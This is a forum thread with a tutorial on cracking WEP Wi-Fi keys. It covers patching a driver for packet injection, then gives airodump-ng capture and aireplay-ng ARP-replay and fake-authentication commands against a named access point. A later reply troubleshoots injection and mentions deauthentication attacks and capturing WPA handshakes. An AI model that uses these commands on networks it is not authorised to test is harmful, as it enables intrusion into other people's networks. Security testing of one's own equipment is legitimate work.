cracking WEP keys

Get the latest on wired & wireless, talk network setups, get help with connectivity problems, web hosts, etc.
Post Reply
Posts: 126
Joined: Sun Nov 13, 2005 1:37 pm

cracking WEP keys

Post by eleanor » Mon Sep 24, 2007 6:28 pm

Hi all, I've decided that a good all-in-one tutorial for cracking wep keys is required.

- wireless card
- MAC of the AP (access point)
- MAC of your wireless card
- SSID of the AP


- the first thing to do is to compile your kernel and apply the injection patch to the driver
- okay, I've tested this with ipw2200 and rtl8187 driver
- let's get started

2.1) IPW2200 card
- your kernel should look like this:
localhost 1.0-dev # cat /usr/src/linux/.config | grep IPW2200
localhost 1.0-dev # cat /usr/src/linux/.config | grep IEEE
# CONFIG_IEEE80211_SOFTMAC is not set
# IEEE 1394 (FireWire) support
# CONFIG_IEEE1394_VIDEO1394 is not set
# CONFIG_IEEE1394_SBP2 is not set
# CONFIG_IEEE1394_ETH1394_ROM_ENTRY is not set
# CONFIG_IEEE1394_ETH1394 is not set
# CONFIG_IEEE1394_DV1394 is not set
- then apply the patch:
patch /usr/src/linux/drivers/net/wireless/ipw2200.c ipw2200-1.2.1-inject.patch
(I'm not going to write about how to download a patch, you can do this on your own)

- your kernel should now look like this:
localhost 1.0-dev # cat /usr/src/linux/.config | grep IPW2200
# CONFIG_IPW2200_QOS is not set
- the rest should be the same.

2.2) the rtl8187 card
- let me just says that 2.6.23-x cards have the support already in the kernel, so I would suggest downloading the latest version of the kernel.

- what you should have in kernel
localhost 1.0-dev # cat /usr/src/linux/.config | grep 818

- all cards can receive and send data in ALL modes, but the communication os half-duplex then (so, it can only do one thing at the moment)

Question: Shouldn't I be in managed mode in order to send packets and in monitor mode in order to receive them?
- well actually you're right, but only for the ipw2200 card
"ipw2200" is a great sniffing card but it's injection is limited |-| You need to be on the same channel of the AP you want to attack, and be connected to another AP (obviously also on the same channel and in managed mode)
- ipw2200 has a firmware limitation, while you can use rtl8187 in managed+monitor mode simultaneously without any problems.
- you should use rtl8187 for listening and sniffing and ipw2200 for connecting

Question: Why do I only need to patch ipw2200 driver and not rtl8187 one?
- it's because the rtl8187 uses mac80211
The RTL8187 mac80211 driver will be in the mainline kernel from version 2.6.23 on (now it is in 2.6.23-rc1).
The mac80211 framework can be included into older kernel with a patch by Intel and it is included in kernel 2.6.22 and later.
- so the rtl8187 isn't patched and it supports monitor mode and injection of packets...thanks to mac80211 and andy green
- the ipw2200 uses ieee80211 driver which is not already patched, so you need to patch the ipw2200 driver manually


Code: Select all

airodump-ng -c 11 --bssid 00:18:39:BC:B7:65 -w output --ivs wlan0
- you use airodump-ng program for catching all the packets
- use --bssid to only capture packets from ONLY 1 network
- use -c for channel
- use --ivs to only capture IVs and not other data too
- use -w to write it all to a file

- you need approximately 200-300k packets to crack 64-bit WEP
- and you need 300-1000k to crack 128-bit WEP

Question: I captured 1 million of packets (IVs) with airodum-ng program, but when I open that file with aircrack-ng it only says there are about half of million IVs. Why?
That's because your IVs are duplicating, because you aready captured every IV that was possible and other packets were the same, becuase it was capturing packets the second way around.


Code: Select all

aireplay-ng -3 -b 00:18:39:BC:B7:65 -h 00:1B:2F:42:FA:FB wlan0
- use -b to specify the AP
- use -h to specify the MAC of your card
- -3 == the type of attack

Code: Select all

aireplay-ng -1 0 -e eleanor -a 00:18:39:BC:B7:65 -h 00:1B:2F:42:FA:FB wlan0


- don't use your native aircrack-ng program, because it's not the latest verison and it doesn't have all the options that are needed.

1 Version 1.0 (changes from aircrack-ng 0.9) - Released ?? ???? 2007:
2 * airodump-ng: Added --berlin option (see code for more information).
3 * airodump-ng: Fixed 100% cpu utilization while channelhopping on rtap interface
4 * airodump-ng: Fixed frame length < 10bytes bug
5 * airodump-ng: Added out-of-monitor-mode, channel hop and interface down detection
6 * airodump-ng: Fixed debian bug #417388: airodump-ng doesn't restore terminal after error
7 * airodump-ng: Fixed opening the same interface more than once
8 * airodump-ng: Fixed PWR values for some drivers
9 * airodump-ng: Fixed airodump sanity check (resulted in showing WPA networks without CIPHER & AUTH)
10 * airodump-ng: Added "-f" to set the time in ms between hopping channels
11 * airodump-ng: Added partial 40bit WEP detection
12 * airodump-ng: Added "--showack" to print statistics about ack/cts and rts frames
13 * airodump-ng: Added "-h" to hide the known stations in ack statistics
14 * airodump-ng: Added "-r" to read packets from a pcap file
15 * aircrack-ng: Added BSSID merge option
16 * aircrack-ng: Added passive ptw attack (using also IP packets for cracking)
17 * aircrack-ng: Made ptw attack default, for korek attack use -K
18 * aircrack-ng: Fixed huge memory usage with ptw attack on hundreds of APs
19 * aircrack-ng: Added -M paramteter for specifying maximum number of IVs to be read
20 * aircrack-ng: Changed ptw testpackets from first to random (fixes invalidation of found keys)
21 * aircrack-ng: Added --wep-decloak mode
22 * aircrack-ng: Added --ptw-debug to allow klein or ptw disabling
23 * aircrack-ng: PTW: Starts a new process group
24 * aircrack-ng: Increased PTW key checking speed by 20%
25 * aircrack-ng: Try 1000 40bit keys befor starting 104bit cracking, to get the key "instantly" without waiting for 104 bit to fail
26 * aircrack-ng: Fixed not shown ascii keys, when found key was shorter than expected
27 * aircrack-ng: Added visual inspection of the different keybytes (--visual-inspection).
28 * airdecap-ng: Fixed bug in calc_pmk() function causes wrong PMK to be computed
29 * aireplay-ng: Added usage of RTS/CTS, auth and ACK to --test (more stable and faster)
30 * aireplay-ng: Added TCP connection test to --test
31 * aireplay-ng: Changed injection rate to be more stable
32 * aireplay-ng: Made essid argument optional - sniffs the essid if its broadcasted
33 * aireplay-ng: Made src mac argument (-h) optional - uses default interface mac
34 * aireplay-ng: Added bitrate test to --test (-B)
35 * aireplay-ng: Fixed 100% cpu utilization in --test
36 * aireplay-ng: Added --fast switch to use first available packet without interaction
37 * aireplay-ng: chopchop now tries header recreation workaround if icv check failed
38 * aireplay-ng: Fixed seq field for fragment attack
39 * aireplay-ng: Now works with rtc_cmos
40 * aireplay-ng: Added automatic channel changing in --test to AP channel
41 * aireplay-ng: Added channel synchonisation for --test between cards
42 * aireplay-ng: Added possibility to limit injection test to one AP "-a" or "-e"
43 * aireplay-ng: Added BSSID/ESSID detection, so it can be enough to specify one option
44 * airmon-ng: Added driver detection through sysfs
45 * airmon-ng: Added mac80211 support
46 * airmon-ng: Added networkmanager detection - airmon-ng check
47 * airmon-ng: Fixed interface name detection
48 * airmon-ng: Fixed Ralink rt73 detection
49 * airmon-ng: Using real interface name instead of first 7 bytes
50 * makeivs-ng: Added parameters to set length, number and first IV of generated IVs
51 * makeivs-ng: Added possibility to generate IVs sequentially or randomly
52 * makeivs-ng: Added parameters to set percentage of false and dupe frames
53 * makeivs-ng: Added 256bit wep support
54 * packetforge-ng: Added support for generating more than on packet
55 * patches: updated rtl8187 patch for 2.6.22
56 * patches: updated zd1211rw patch for 2.6.22
57 * New IVS format for storing all relevant data
58 * Auto-creation of rtap interface if it doesn't exist (ipw2200)
59 * Better acx, rtl8180, orinoco and madwifi-ng detection
60 * Using OpenSSL instead of build-in crypto
61 * Added library rx/tx support
62 * Added airpcap rx/tx support
63 * Added airdriver-ng script for installing and managing patched drivers
64 * Added wesside-ng as an all in one tool for recovering the wep-key
65 * Added easside-ng for realtime decryption (instant rx/tx) of wep frames
66 * Added buddy-ng as loopback server for easside-ng
67 * Added airserv-ng - server for rx/tx on another system
68 * Added airolib-ng for using hash tables to crack wpa/wpa2 psk (supports cowpatty rainbow tables)
69 * Fixed compilation of optimized binaries with icc
70 * Fixed compilation on FreeBSD, NetBSD, OpenBSD and MacOSX
71 * Better WDS handling and display
72 * Added detection and removal of trailing fcs checksum
73 * Fixed several memory leaks
74 * Fixed being root when connecting to airserv-ng
75 * Added OpenBSD sniffing support

- to get the latest version do this:

emerge subversion
svn co aircrack-ng
cd into the directory you just downloaded
use the tools like this: ./src/.arieplay-ng ...
- The goal of the Subversion project is to build a version control system that is a compelling replacement for CVS in the open source community.

- test your driver if it supports injecting (with this test you can also see if you compiled your driver correctly)

Code: Select all

localhost 1.0-dev #  ./src/aireplay-ng -9 wlan0

User avatar
Posts: 592
Joined: Wed Nov 08, 2006 5:51 pm

Post by korin » Mon Sep 24, 2007 9:57 pm

Nice, but why isn't this in tutorial submission.

Posts: 126
Joined: Sun Nov 13, 2005 1:37 pm

Post by eleanor » Mon Sep 24, 2007 10:23 pm

Well I don't know. When I start writing it, I didn't know it will be a "tutorial", if you can call this tutorial. It's just some info.

I think I'll add some in the future about the encrypton algorithms.

31337 Martial Artist
Posts: 1898
Joined: Sat Feb 21, 2004 8:38 am
Location: /etc/login.defs

Post by telcontar » Tue Sep 25, 2007 5:43 am

It would be good if you could include why WEP is poop, like what is going on behind the scenes. e.g. see condition in my signature, (A + 3, N - 1, X)

There's lots of docs around on the subject but it would be good if htd0rg had a good article on it.
Fate favours the well prepared ...

Code: Select all

(A + 3, N - 1, X)

User avatar
Posts: 2
Joined: Sat Mar 21, 2009 3:13 pm

Re: cracking WEP keys

Post by Vox_Infinitio » Sat Mar 21, 2009 8:02 pm

excellent write-up. If anyone is still using WEP, they should reconsider.

Posts: 1
Joined: Thu Jul 09, 2015 9:32 am

Re: cracking WEP keys

Post by iee80211trouble » Thu Jul 09, 2015 10:24 am

I have spent several weeks trying to make injection work on a 2915ABG card. I eventually broke my Linux installation trying to patch ieee80211 and thought I had hit a dead end. But your blog has inspired me to try again because my kernel does not look like yours. I am new to Linux and do not have the knowledge to diagnose my problem. My aim is to make packet injection work with Aircrack-ng and Bully or Reaver. As far as I can tell my problem(s) may stem from (i) having a much newer kernel than those described in old tutorials (c. 2006), (ii) uncertainty around the extent to which the ipw2200 drivers distributed with Kali have already been patched (iii) whether I have an 1eee80211 or ieee802154 stack and (iv) whether the Kali ieee802154 wireless stack can be made to work with patched ipw2200 drivers. Or some even worse problem :-(

In what follows I am using a fresh Kali install on a live USB. I have not patched or changed anything.

Dell Inspiron 8600 laptop
Intel PRO/Wireless 2915ABG
Live USB running Kali Linux 3.18.0-kali3-686-pae
2 routers under my desk that I can test injection on.

I have not touched the kernel.


root@kali:~# cat /usr/src/linux/.config | grep IPW2200
# CONFIG_IPW2200_DEBUG is not set

root@kali:~# cat /usr/src/linux/.config | grep IEEE
# IEEE 1394 (FireWire) support
# Supported FireWire (IEEE 1394) Adapters

These IPW entries look to me like those you show AFTER the IPW patches have been applied. My IEEE entries look very different to yours and might mean I do not have ieee80211.

From a fresh boot I run a script from root that intends to leave the 2915ABG listening on rtap0 and able to inject on eth1 in managed mode. I have read that I need to do this, I may be wrong.

echo "prep wifi configuration"
echo "enable rtap0"
rmmod ipw2200;
modprobe ipw2200 rtap_iface=1;
iwconfig eth1 ap A1:23:45:B6:78:C0
iwconfig eth1 key s:fakekey
iwconfig eth1 mode managed
echo "bring up eth1 & rtap0"
ifconfig eth1 up
ifconfig rtap0 up
echo "checking connection w iwconfig"

which produces

rtap0 no wireless extensions.

lo no wireless extensions.

eth0 no wireless extensions.

eth1 IEEE 802.11abg ESSID:off/any
Mode:Managed Channel:0 Access Point: A1:23:45:B6:78:C0
Bit Rate:0 kb/s Tx-Power=20 dBm Sensitivity=8/0
Retry limit:7 RTS thr:off Fragment thr:off
Encryption key:6661-6B65-6B65-7900-0000-0000-00 Security mode:open
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0


there are dozens of entries under lsmd, the following might be relevant.

root@kali:~# lsmod
Module Size Used by
lib80211_crypt_wep 12636 1
ipw2200 130092 0
libipw 29890 1 ipw2200
cfg80211 357998 2 libipw,ipw2200
lib80211 12802 2 lib80211_crypt_wep,libipw

lspci returns (amongst other things)

02:01.1 FireWire (IEEE 1394): Texas Instruments PCI4510 IEEE-1394 Controller
02:03.0 Network controller: Intel Corporation PRO/Wireless 2915ABG [Calexico2] Network Connection (rev 05)

dmesg | grep ipw

[ 4.340893] libipw: 802.11 data/management/control stack, git-1.1.13
[ 4.340900] libipw: Copyright (C) 2004-2005 Intel Corporation <>
[ 4.356723] ipw2200: Intel(R) PRO/Wireless 2200/2915 Network Driver, 1.2.2kmprq
[ 4.356729] ipw2200: Copyright(c) 2003-2006 Intel Corporation
[ 5.274286] ipw2200: Detected Intel PRO/Wireless 2915ABG Network Connection
[ 5.295207] ipw2200 0000:02:03.0: firmware: direct-loading firmware ipw2200-bss.fw
[ 5.420317] ipw2200: Detected geography ZZE (13 802.11bg channels, 19 802.11a channels)
[ 1213.280079] ipw2200: Intel(R) PRO/Wireless 2200/2915 Network Driver, 1.2.2kmprq
[ 1213.280086] ipw2200: Copyright(c) 2003-2006 Intel Corporation
[ 1213.280408] ipw2200: Detected Intel PRO/Wireless 2915ABG Network Connection
[ 1213.280769] ipw2200 0000:02:03.0: firmware: direct-loading firmware ipw2200-bss.fw
[ 1213.412377] ipw2200: Detected geography ZZE (13 802.11bg channels, 19 802.11a channels)
[ 1444.043696] ipw2200 0000:02:03.0: firmware: direct-loading firmware ipw2200-sniffer.fw

I then put rtap0 in monitor mode but do not kill the potentially problematic processes in case that stops managed mode on eth1.

root@kali:~# airmon-ng start rtap0

Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
2227 NetworkManager
2268 wpa_supplicant
3235 avahi-autoipd
3236 avahi-autoipd
3244 dhclient

Interface Chipset Driver

eth1 Intel 2200BG/2915ABG ipw2200 - [phy1]

- airmon returns interface eth1, the rtap0 interface is not shown. I am unsure if this should happen.

I then run airodump-ng fixed on channel 10 (where I can see one of my routers) using eth1 and then stop airodump with ctrl-C. This works fine.

airodump-ng will not run on ratp0
root@kali:~# airodump-ng -c10 rtap0
SIOCGIWMODE: Operation not supported

I then run the aircrack-ng injection test. I have changed the BSSIDs and ESSIDs in the output below as they are from the same ISP, the first 5 blocks of the BSSIDs are identical and the 6th block is sequential. They undoubtedly reveal my street address to anyone with the index.

root@kali:~# aireplay-ng -9 eth1
10:40:07 Trying broadcast probe requests...
10:40:09 No Answer...
10:40:09 Found 3 APs

10:40:09 Trying directed probe requests...
10:40:09 11:WW:XX:YY:ZZ:A4 - channel: 10 - 'ISPname-XYZ'
10:40:15 0/30: 0%

10:40:15 11:WW:XX:YY:ZZ:A5 - channel: 10 - 'ISPname-ABC'
10:40:21 0/30: 0%

10:40:21 11:WW:XX:YY:ZZ:A6 - channel: 10 - 'ISPname-FGH'
10:40:27 0/30: 0%

My understanding is this means I have failed the injection test.

After running all the commands above and tinkering around running fake authority and deauthentication attacks (to confirm my notes below are correct) ifconfig returns

eth1 Link encap:UNSPEC HWaddr 00-12-F0-52-55-56-00-00-00-00-00-00-00-00-00-00
inet6 addr: fe80::212:f0ff:fe52:5556/64 Scope:Link
RX packets:30657 errors:0 dropped:26378 overruns:0 frame:0
TX packets:5 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:6807467 (6.4 MiB) TX bytes:408 (408.0 B)

rtap0 Link encap:UNSPEC HWaddr 00-12-F0-52-55-56-00-00-00-00-00-00-00-00-00-00
RX packets:33232 errors:0 dropped:28948 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:7362611 (7.0 MiB) TX bytes:0 (0.0 B)

I have omitted entries for eth0, eth0:avahi and lo. Apparently rtap0 is capturing packets despite spitting errors under airodump.


-if I run an aireplay-ng fake authority attack I get back acknowledgements when aireplay-ng states that it is Sending Authentication Request. I have seen up to 12 ACKS from 16 sends from an AP with connected clients.
-to make aireplay work I put eth1 in monitor mode.
-aireplay states it is Sending Authentication Requests but I never reach the Authentication Successful stage. I sometimes get 12 ACKs from 16 sends, from an AP with connected clients.

-if I run aireplay-ng with rtap0 in monitor mode and eth1 in managed mode it throws the same error triggered by airodump, discussed above.
root@kali:~# aireplay-ng --arpreplay -b <target BSSID> -h <connected client MAC> -i rtap0 eth1
SIOCGIWMODE: Operation not supported

-with eth1 in monitor mode I can capture 4-way WPA handshakes and write them to file
-as mentioned above I cannot run airodump with rtap0

What am I doing wrong ?

Do I need to apply additional patches to ipw2200 ?
I have (at least)

and ipw2200-1.2.2_p1mp4m.patch (which is some amalgamation of the above.

On my original Live USB I was able to patch ipw2200.c

Do I need to patch an ieee stack ?

User avatar
Not a sandwich
Posts: 1913
Joined: Fri May 09, 2003 1:20 pm
Location: 41 6d 73 74 65 72 64 61 6d

Re: cracking WEP keys

Post by Cool_Fire » Sat Jul 11, 2015 2:44 pm

I've done this quite recently with no patching of any kind required. It's probably much simpler to just pick a better supported wireless chip.

These series of wireless dongles are pretty well supported since they're fairly high power and for that reason quite popular among wfi hackers;

I have this exact dongle:
And it just works out of the box.
If we're breaking the rules, then how come you can't catch us? You can't find us? I know why. Cause, it's ... MAGIC!
Hackerthreads chat, where the party is going 24/7.

Posts: 8
Joined: Thu Oct 20, 2016 4:08 am

Re: cracking WEP keys

Post by supersu » Sat Dec 03, 2016 12:21 am

Good one man :idea: :idea: :idea:
Learn from yesterday, live for today, hope for tomorrow.

Post Reply